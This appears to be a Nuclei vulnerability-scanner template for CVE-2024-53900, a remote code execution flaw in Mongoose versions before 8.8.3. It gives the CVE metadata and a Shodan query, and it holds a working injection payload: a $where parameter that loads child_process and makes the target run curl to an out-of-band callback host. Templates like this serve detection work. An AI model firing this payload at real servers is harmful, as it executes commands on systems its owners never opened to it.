CVE-2024-53900: Mongoose < 8.8.3 - Remote Code Execution

id: CVE-2024-53900

info:
  name: Mongoose < 8.8.3 - Remote Code Execution
  author: h4mg
  severity: critical
  description: |
    Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
  reference:
    - https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156
    - https://github.com/advisories/GHSA-m7xq-9374-9rvx
    - https://www.youtube.com/watch?v=WX_N1NGPbug
    - https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-53900
    cwe-id: CWE-89
    epss-score: 0.61214
    epss-percentile: 0.98223
  metadata:
    verified: true
    max-request: 1
    product: mongoose
    framework: nodejs
    shodan-query: "Server: Mongoose"
  tags: cve,cve2024,rce,mongoose,nosql,nodejs,oast,vkev

variables:
  pfield: "author"

http:
  - method: GET
    path:
      - "{{BaseURL}}?view[path]={{pfield}}&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl {{interactsh-url}}')"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "User-Agent: curl")'
        condition: and
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